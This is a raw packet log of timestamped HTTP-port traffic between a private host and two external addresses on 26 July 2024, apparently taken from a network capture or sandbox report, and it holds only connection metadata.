Jul 26, 2024 13:49:34.029794931 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.029896021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.029937029 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.030100107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.030143023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.030150890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.030163050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.030190945 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.030200958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.030211926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.030222893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.030240059 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.030261040 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.108119011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.108155012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.108189106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.108213902 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.108221054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.108228922 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.108254910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.108289003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.108329058 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.108350992 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.109304905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109338045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109374046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109466076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109514952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109549046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109587908 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.109589100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.109615088 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.109652042 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.110625982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.110677004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.110708952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.118804932 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.186826944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.186853886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.186865091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.186875105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.186886072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.186898947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187027931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187040091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187050104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187061071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187350988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187383890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187417030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187449932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187483072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187515974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187549114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.187583923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190058947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190093040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190124989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190175056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190207005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190238953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190270901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190304995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190354109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190386057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190418959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190450907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190483093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190515041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190546989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190579891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190614939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190649033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190680981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190711975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190745115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190776110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190809965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190841913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190875053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190907001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190939903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.190995932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191031933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191063881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191097975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191129923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191163063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191195011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191226959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191257000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191289902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191323042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191355944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191387892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191420078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191452980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191483021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191515923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191551924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191584110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191617012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191641092 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.191648960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191682100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191715002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191745996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191777945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191811085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191843987 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191875935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191909075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191941977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.191973925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192009926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192042112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192075014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192120075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192131042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192140102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192173004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192204952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192240953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192253113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192285061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192317009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192358017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192368031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192378998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.192559004 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.197560072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.197594881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.197628021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.206368923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.206481934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.206516027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208375931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208409071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208441973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208473921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208534956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208565950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208599091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208631039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208663940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208698988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.208730936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.209274054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209418058 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209467888 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209467888 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209485054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209510088 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209542036 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209683895 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209711075 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209743023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209860086 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.209860086 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.260315895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.260437012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.260472059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.260646105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.260680914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.260920048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.260953903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268188953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268224001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268414974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268448114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268497944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268532991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268835068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268867970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268901110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268933058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268965006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.268997908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.269032001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.269484043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.269516945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.269550085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.269582033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.269615889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.270040989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.270070076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.270237923 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.270273924 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.299854040 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.314925909 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.324600935 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.324649096 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.344403982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.344456911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.344547033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.344580889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.344605923 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.344616890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.344650030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.344687939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345098019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345146894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345195055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345227957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345261097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345293045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345325947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345550060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345560074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345568895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345577955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345587015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345597029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345607042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.345617056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346343994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346354961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346363068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346373081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346380949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346391916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346400976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.346410990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347554922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347565889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347574949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347584009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347593069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347601891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347610950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.347620964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348196030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348206043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348216057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348226070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348234892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348243952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.348253965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349128962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349138975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349148035 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349157095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349167109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349175930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349184990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349195004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.349201918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350096941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350110054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350117922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350127935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350136995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350147009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350156069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.350166082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351008892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351020098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351030111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351039886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351047993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351058006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351067066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351077080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351897001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351907969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351917028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351917982 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.351927042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351937056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351946115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.351964951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.352097988 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352349043 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352371931 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352391005 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352411985 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352432013 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352452040 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352494001 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.352762938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.352776051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.352786064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.352797031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.353192091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.353204012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355058908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355070114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355079889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355089903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355098963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355108976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355956078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.355988026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360114098 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.360584021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360615969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360829115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360874891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360904932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360934973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.360965014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361466885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361495972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361526966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361556053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361583948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361619949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.361637115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.362735987 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.362766981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.362814903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.362828970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.362843037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.362855911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.377433062 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.377522945 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.377628088 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.377904892 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.377954006 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.378325939 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.400130987 CEST	80	59067	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:34.404620886 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:34.433362961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.433479071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.433490038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.433619022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.433629990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.433640957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.433650970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434012890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434024096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434035063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.434045076 CEST	80	59056	185.215.113.16	192.168.2.6
